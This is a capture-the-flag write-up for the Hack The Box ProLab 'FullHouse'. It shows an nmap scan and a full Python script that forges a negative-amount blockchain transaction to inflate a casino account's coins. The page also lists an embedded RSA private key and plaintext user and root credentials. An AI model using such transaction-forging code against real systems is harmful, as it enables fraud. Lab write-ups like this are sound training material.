Write-Ups
Write-Ups
Write-Ups
  • 📙Write-Ups
  • 🔋Hack The Box
    • đŸ•šī¸Challenges
      • 🎰AI - ML
        • â˜„ī¸AI SPACE
      • â›“ī¸Blockchain
        • 🤸Survival of the Fittest
      • 🔮Crypto
        • đŸ‘ļBaby Time Capsule
        • đŸ•ēThe Last Dance
      • âĒReversing
        • BabyEncryption
        • 🌒Behind the Scenes
        • đŸŖBabyEncryption
        • 💹Simple Encryptor
      • đŸŽ›ī¸Hardware
        • 💉The Needle
        • 🔏Photon Lockdown
      • đŸĨ¸OSINT
        • 💸Money Flowz
      • đŸ•¸ī¸Web
        • đŸ´â€â˜ ī¸Flag Command
        • 💓LoveTok
        • đŸ—’ī¸PDFy
        • jscalc
        • 🙈ProxyAsAService
        • ApacheBlaze
        • ❓RenderQuests
        • đŸ’ĨNeonify
        • 😑No Treshold
        • 🎑Breathtaking View
    • 🏰Fortress
      • đŸĻ™AWS
    • đŸ’ģMachines
      • 🎒Backfire
      • đŸ’ĨBigBang
      • 🐈‍âŦ›Cat
      • âœ”ī¸Checker
      • đŸļDog
      • 🧧Environment
      • 👮EscapeTwo
      • âšœī¸Eureka
      • đŸĻNocturnal
      • 🔞UnderPass
      • đŸšĸTitanic
      • TheFrizz
      • 🐰WhiteRabbit
    • 🧐Sherlocks
      • Meerkat
      • Bumblebee
    • đŸĨŧProLabs
      • 🃏FullHouse
    • 💀Season 8
    • đŸĻ“Scripts/Functions/Tools
  • 💔PortSwigger
    • đŸ›Ŗī¸Learning Path
      • â™ŋApi testing
        • Lab: Exploiting an API endpoint using documentation
        • Lab: Finding and exploiting an unused API endpoint
        • Lab: Exploiting a mass assignment vulnerability
        • Lab: Exploiting server-side parameter pollution in a query string
      • 🔐Authentication vulnerabilities
        • Lab: Username enumeration via different responses
        • Lab: Username enumeration via subtly different responses
        • Lab: Username enumeration via response timing
        • Lab: Broken brute-force protection, IP block
        • Lab: Username enumeration via account lock
        • Lab: 2FA simple bypass
        • Lab: 2FA broken logic
        • Lab: Brute-forcing a stay-logged-in cookie
        • Lab: Offline password cracking
        • Lab: Password reset broken logic
        • Lab: Password reset poisoning via middleware
        • Lab: Password brute-force via password change
      • 📁File upload vulnerabilities
        • Lab: Remote code execution via web shell upload
        • Lab: Web shell upload via Content-Type restriction bypass
        • Lab: Web shell upload via path traversal
      • 📉GraphQL API vulnerabilities
        • Lab: Accessing private GraphQL posts
        • Lab: Accidental exposure of private GraphQL fields
        • Lab: Finding a hidden GraphQL endpoint
        • Lab: Bypassing GraphQL brute force protections
        • Lab: Performing CSRF exploits over GraphQL
      • đŸ–Ĩī¸Server-side vulnerabilities
        • đŸ›¤ī¸Path traversal
          • Lab: File path traversal, simple case
        • 🛂Access control
          • Lab: Unprotected admin functionality
          • Lab: Unprotected admin functionality with unpredictable URL
          • Lab: User role controlled by request parameter
          • Lab: User ID controlled by request parameter, with unpredictable user IDs
          • Lab: User ID controlled by request parameter with password disclosure
        • 🔐Authentication
          • Lab: Username enumeration via different responses
        • đŸ–Ĩī¸Server-side request forgery(SSRF)
          • SSRF attacks against the server
          • Lab: Basic SSRF against the local server
          • Lab: Basic SSRF against another back-end system
        • 🆙File upload vulnerabilities
          • Lab: Remote code execution via web shell upload
          • Lab: Web shell upload via Content-Type restriction bypass
        • 👊OS command injection
          • Lab: OS command injection, simple case
        • 💉SQL injection (SQLi)
          • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
          • Lab: SQL injection vulnerability allowing login bypass
      • đŸ§ĻWebSockets
        • Lab: Manipulating WebSocket messages to exploit vulnerabilities
        • Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
        • Lab: Cross-site WebSocket hijacking
Powered by GitBook
On this page
  • Recon
  • Website casino
  • Manipulate Blockchain
  1. Hack The Box
  2. ProLabs

FullHouse

https://app.hackthebox.com/prolabs/overview/fullhouse

Last updated 7 months ago

Recon

First we gonna start with a basic recon-scan.

sudo nmap -v -sC -sV -A $ip -oX $name.xml

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://casino.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/2%OT=22%CT=1%CU=38718%PV=Y%DS=2%DC=T%G=Y%TM=66FD
OS:67DD%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Adding the domain to our host-file (etc/hosts)

10.13.38.31 casino.htb

Website casino

We gonna visit the website where we can register a user

We got an Account with HTBCoins but to Access VIP we don't have enough Coins. We can download the python code.

Manipulate Blockchain

script to get more coins

import requests
#import blocks.block
import time
import json
import base64
from copy import deepcopy
from collections import OrderedDict
from hashlib import sha512
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA
from Crypto.Signature import PKCS1_v1_5
url = "http://casino.htb/blockchain"
class Blockchain:
    def __init__(self, local_address):
        self.genesis = Block(index=0, previous_hash=1, transactions=[], nonce=0)
        self.bank = local_address
        transaction = Transaction(sender_address="0", receiver_address=local_address, amount=1000000000,
                                  transaction_inputs='', genesis=True, ids='0')
        self.genesis.transactions.append(transaction)
        self.genesis.timestamp = 0
        self.genesis.current_hash = self.genesis.get_hash()
        self.blocks = [self.genesis]
        self.resolve = False
    def __str__(self):
        chain = f'{self.genesis.index} ({0})'
        # Ignore genesis
        for block in self.blocks[1:]:
            chain += f' -> {block.index} ({block.current_hash})'
        return chain
    def add_block(self, new_block):
        if self.validate_block(new_block, 1):
            self.blocks.append(new_block)
            print(self.blocks)
            return self
    def mine_block(self, block, difficulty):
        # Mine the whole block until the conditions are met
        nonce = 0
        block_to_mine = block
        block_to_mine.nonce = nonce
        # Update hash
        block_hash = block_to_mine.get_hash()
        while block_hash[:difficulty] != '0' * difficulty:
            nonce += 1
            block_to_mine.nonce = nonce
            block_hash = block_to_mine.get_hash()
        block_to_mine.current_hash = block_hash
        self.add_block(block_to_mine)
        return
    def resolve_conflict(self, possible_chain):
        new_blocks = possible_chain
        tmp_blockchain = []
        # Parse the json block to an actual block item
        for id, block in enumerate(new_blocks["blockchain"]):
            transactions = []
            # Load transactions from the block
            for t in block["transactions"]:
                if id == 0:
                    transaction = Transaction(sender_address=t["sender_address"],
                                            receiver_address=t["receiver_address"],
                                            amount=int(t["amount"]),
                                            transaction_inputs=t["transaction_inputs"],
                                            ids=t["user_id"], genesis=True)
                else:
                    transaction = Transaction(sender_address=t["sender_address"],
                                            receiver_address=t["receiver_address"],
                                            amount=int(t["amount"]),
                                            transaction_inputs=t["transaction_inputs"],
                                            ids=t["user_id"])
                transaction.transaction_id = t["transaction_id"]
                transaction.signature = t["signature"]
                transaction.transaction_outputs = t["transaction_outputs"]
                transaction.change = int(t["change"])
                transactions.append(transaction)
            block = Block(block["index"], transactions, block["nonce"], block["previous_hash"],
                            block["timestamp"])
            block.current_hash = block.get_hash()
            tmp_blockchain.append(block)
        # If bigger chain is found, replace existing chain
        if len(tmp_blockchain) > len(self.blocks) and self.validate_chain(tmp_blockchain):
            self.blocks = tmp_blockchain
        return self
    def to_od(self):
        od = OrderedDict([
            ('blockchain', [block.to_od() for block in self.blocks])
        ])
        return od
    def to_od_with_hash(self):
        od = OrderedDict([
            ('blockchain', [(block.to_od(), block.current_hash) for block in self.blocks])
        ])
        return od
    def to_json(self):
        # Convert object to json
        return json.dumps(self.to_od(), default=str)
# ---------------------------------------------- VERIFICATION FUNCTIONS ----------------------------------------------
    def validate_block(self, block, difficulty, new_chain = False):
        if difficulty * "0" != block.get_hash_obj().hexdigest()[:difficulty]:
            return False
        to_test = deepcopy(block.transactions[0])
        to_test.signature = ""
        to_test = to_test.to_json()
        h = SHA.new(to_test.encode('utf8'))
        pub_key = block.transactions[0].sender_address
        public_key = RSA.importKey(pub_key)
        sign_to_test = PKCS1_v1_5.new(public_key)
        if block.transactions[0].receiver_address == self.genesis.transactions[0].receiver_address \
        or block.transactions[0].receiver_address == block.transactions[0].sender_address:
            None
        else:
            if block.transactions[0].sender_address == self.genesis.transactions[0].receiver_address:
                None
            else:
                return False
        # Verify the amount of money, verify that the sender has enough money to send
        if new_chain == False:
            # Check that it sticks to the chain
            print(self.blocks[-1].current_hash)
            print(block.previous_hash)
            if self.blocks[-1].current_hash != block.previous_hash and block.index != 0:
                # Maybe the chain got updated, user still needs initial bonus money
                if block.transactions[0].sender_address == self.genesis.transactions[0].receiver_address:
                    block.previous_hash = self.blocks[-1].current_hash
                    self.mine_block(block, 1)
                return False
        return True
    def validate_chain(self, blockchain):
        # Loop chain to validate that hashes are connected
        money = {}
        for (index, block) in enumerate(blockchain):
            if index == 0:
                money[block.transactions[0].receiver_address] = block.transactions[0].amount
                block.current_hash = block.get_hash()
                continue
            print("in validate with index:"+str(index))
            amount = block.transactions[0].amount
            change = block.transactions[0].change
            if block.current_hash != block.get_hash():
                return False
            if block.previous_hash != blockchain[index - 1].current_hash:
                return False
            if not(self.validate_block(block, 1, new_chain=True)):
                return False
            if money[block.transactions[0].sender_address] < amount:
                return False
            money[block.transactions[0].sender_address] = money[block.transactions[0].sender_address] - amount
            try:
                money[block.transactions[0].receiver_address] += amount
            except:
                money[block.transactions[0].receiver_address] = amount
        #If we reach this part we need to update the DB with the new info
        return True
class Block:
    def __init__(self, index, transactions, nonce, previous_hash, timestamp=time.time()):
        self.index = index
        self.timestamp = timestamp
        self.transactions = transactions
        self.nonce = nonce
        self.previous_hash = previous_hash
        self.current_hash = None
    def to_od(self):
        od = OrderedDict([
            ('index', self.index),
            ('timestamp', self.timestamp),
            ('transactions', ([self.trans_to_od(trans) for trans in self.transactions])),
            ('nonce', self.nonce),
            ('previous_hash', self.previous_hash)
        ])
        return od
    def trans_to_od(self, trans):
        try:
            to_od= OrderedDict([
            ('sender_address', trans["sender_address"]),
            ('receiver_address', trans["receiver_address"]),
            ('amount', trans["amount"]),
            ('transaction_id', trans["transaction_id"]),
            ('transaction_inputs', trans["transaction_inputs"]),
            ('transaction_outputs', trans["transaction_outputs"]),
            ("signature",trans["signature"]),
            ("change",trans["change"]),
            ("user_id",trans["user_id"])])
        except:
            to_od = trans.to_od()
        return to_od
    def to_json(self):
        return json.dumps(self.to_od(), default=str)
    def get_hash(self):
        return self.get_hash_obj().hexdigest()
    def get_hash_obj(self):
        return sha512(str(self.to_json()).encode('utf-8'))
class Transaction:
    _id = 0    # Incremental id for each instance created
    def __init__(self, sender_address, receiver_address, amount, transaction_inputs, ids, genesis=False):
        self.sender_address = sender_address  # Sender's public key
        self.receiver_address = receiver_address  # Receiver's public key
        self.amount = amount  # Transfer Amount
        self.transaction_id = str(ids)+str(Transaction._id)  # Transaction Id
        self.transaction_inputs = transaction_inputs  # Previous Transaction Id
        self.transaction_outputs = []  # {id: (Receiver/Sender Address, Amount/Change)}
        self.signature = ''  # Proof that sender requested transaction
        self.change = 0
        self.user_id = ids
        if not genesis:
            total_utxo = 10000
            self.change = total_utxo - self.amount
            if self.change < 0:
                self.change = 0
            else:
                self.change = -self.amount
            self.transaction_outputs.append(
                {str(self.user_id) + str(Transaction._id): (self.receiver_address, self.amount)})
            Transaction._id += 1
            self.transaction_outputs.append(
                {str(self.user_id) + str(Transaction._id): (self.sender_address, self.change)})
        else:
            self.transaction_outputs.append({"0"+str(Transaction._id): (self.receiver_address, self.amount)})
        Transaction._id += 1
    def to_od(self):
        # Convert object to ordered dictionary (so it produces same results every time)
        od = OrderedDict([
            ('sender_address', self.sender_address),
            ('receiver_address', self.receiver_address),
            ('amount', self.amount),
            ('transaction_id', self.transaction_id),
            ('transaction_inputs', self.transaction_inputs),
            ('transaction_outputs', self.transaction_outputs),
            ('signature', self.signature),
            ('change', self.change),
            ('user_id', self.user_id)
        ])
        return od
    def to_json(self):
        return json.dumps(self.to_od(), default=str)
    def get_hash(self):
        return self.get_hash_obj().hexdigest()
    def get_hash_obj(self):
        return sha512(str(self.to_json()).encode('utf-8'))
    def sign_transaction(self, private_key):
        priv_key = RSA.importKey(private_key)
        my_sign = PKCS1_v1_5.new(priv_key)
        transaction = self.to_od()
        h = SHA.new(json.dumps(transaction, default=str).encode('utf8'))
        self.signature = base64.b64encode(my_sign.sign(h)).decode('utf8')
receiver_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAt8W/0fucrZIMMv2bSbmvUQg0ZTKfmvcwKYA79aOtQ/OrJu/D
ZgPrxmkreB146jv8gX+67lVoJS+X4Rxo6FgFAAJD21zB1upwFiepmwvuGz8rHfkJ
UtEV2zEc2qLcYnfnhou7vrJylxw52pWgUuwacWIHnlDvyAghhzvUU3+d7tT1mDsw
IdI0dZGqW52o8DkOuw3Hqmoon+ezmG/pGXu4a/jUIjEw4UBitnfd4Zb/Wi2GpK8n
cb5xuD3o+sWj4ofSsWTF12ZLe2UpzZp7WRpi4v7F/z6ihWatLZX5BtoySgPZ0hRD
ghRbCyow+HI74Vq+7ByZDhSB+XK6NpDwbr6FlQIDAQABAoIBAA+coYyVqvxF1Xp5
d/k96IpiP40/TTbNfA5ygeV+x6fnqekPYlKmz59V7Obx3gVMHknkD33SzJuoHOd3
UeQ3Igmbp6cZjLAUz3vaV7q/uzUeWyvbLbMW5xvtYq2iO0W0OPuBoGv1Xe2/bJzI
rEuPGjn6oXoOFyivpCWIbCPByilxUieJw9PqRG+JAnBG8HzwZj72QEEU8/kQpIut
SX8ZXsDLURPnET3nxipFiDVQBRbZkUlejxcTpj13icBXCHBipcHz0ypy3QpcNbv9
sAKGc4ObXWxYG6CbpIQ+XDBUzpvB+O25042qTUbbPGqCwz/3H4Cq/GH99vGH75Pe
rVZ1QjECgYEA2F65G2F+z7aYDErzKL1jgKGoG95kPw2hQSDSqPWIoDS64xs91Y2F
9pleIFwPzDsdQXy2jEwVPOTsA9OZvVIiTLQ67pycD6V1bc5814xzHW+qai7a0bvB
zu8II2cWatfixnN5VSHHI3vl64cez6OHJmb+m43vMGU/h6Qsgxtxih0CgYEA2W6S
9ll2KYIlAHl8UtIeOEJAZLfCRYhoK1HZM7Uv6VSZA1cuWAppGfddLC6up/FCVlsh
2l1s0Yv9iF5hu1KSKh0vfbEZHWise4t0LSKj0iZuf17uFQloTiUKSRjPcCXL+p9h
gsfbma0Vuc9B0rMzAhRNji5l+JsIoxLaFU+vz9kCgYEAtkP8/MLBV2qCZQCSG0SG
2GnVOjy6B5+Mslda/fdv8zzYHc3p5cZFDjmd3/aNXEaD25GaGU9SKKzS4FpUzPWu
bRz58907XbbM2AY0hkMLCcXyMWZs8HaQyaf0HBaP/MsFfpTxpbRBk3OgeCqn2tPv
WnsyiYkj74mq3bF/yaXJnEUCgYBkCQOEY9SBdGchuMMCN7m/mHuX2xN+eiuzAo0z
xQCuEUX0y39+8gs47x3m3fNtQQqMQJFqreEK56VVwFamoG6vAY5//aLYbPguPxLM
UUudvCDKaRqQgyuCCHia+Nc3eaxHOlzalqjqI0ADpN9b2SZ2pnCoIaC4qFto65t6
gpcYwQKBgQDCn8jDFSjSdWLcF0tw+hhIFm6PilwQ90UJzgX0IKg5NeZWYGWa2aU9
jXwIN94q4Ec80b3AldqKh+pPyv6zxMfVSPSq8hYSqu9RcKGKfDzYjb9C5VAg+5nU
UwJvzdIieg0m7tt8IAKwlwHVGt38AiGG4HpKQunF1Nx5EvBg1cIm+A==
-----END RSA PRIVATE KEY-----"""
receiver_addr = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt8W/0fucrZIMMv2bSbmv\nUQg0ZTKfmvcwKYA79aOtQ/OrJu/DZgPrxmkreB146jv8gX+67lVoJS+X4Rxo6FgF\nAAJD21zB1upwFiepmwvuGz8rHfkJUtEV2zEc2qLcYnfnhou7vrJylxw52pWgUuwa\ncWIHnlDvyAghhzvUU3+d7tT1mDswIdI0dZGqW52o8DkOuw3Hqmoon+ezmG/pGXu4\na/jUIjEw4UBitnfd4Zb/Wi2GpK8ncb5xuD3o+sWj4ofSsWTF12ZLe2UpzZp7WRpi\n4v7F/z6ihWatLZX5BtoySgPZ0hRDghRbCyow+HI74Vq+7ByZDhSB+XK6NpDwbr6F\nlQIDAQAB\n-----END PUBLIC KEY-----"
json_blockchain = json.loads(requests.get("http://casino.htb/view_blockchain").text)
bank_wallet = json_blockchain['blockchain'][0]['transactions'][0]['receiver_address']
old_blockchain = Blockchain(bank_wallet)
lst_old_blocks = []
for json_block in json_blockchain['blockchain']:
    appendblock = Block(**json_block)
    appendblock.current_hash = appendblock.get_hash()
    lst_old_blocks.append(appendblock)
old_blockchain.blocks = lst_old_blocks
transaction = Transaction(sender_address=receiver_addr, receiver_address=bank_wallet, amount=-9999, transaction_inputs={"0":-9999}, genesis=False, ids=2)
transaction.sign_transaction(receiver_key)
transactions = []
transactions.append(transaction)
new_block = Block(len(old_blockchain.blocks), transactions, old_blockchain.blocks[-1].index+1, old_blockchain.blocks[-1].get_hash(), timestamp=time.time())
new_block = Block(len(old_blockchain.blocks)-1, transactions, old_blockchain.blocks[-1].index+1, old_blockchain.blocks[-1].get_hash(), timestamp=time.time())
old_blockchain.mine_block(new_block, 1)
r = requests.post(url, json=old_blockchain.to_json())

User-Creds

casssandra:spVs9gvsk8p8lVJ

Root-Creds

root:4vQ03013nKj9
🔋
đŸĨŧ
🃏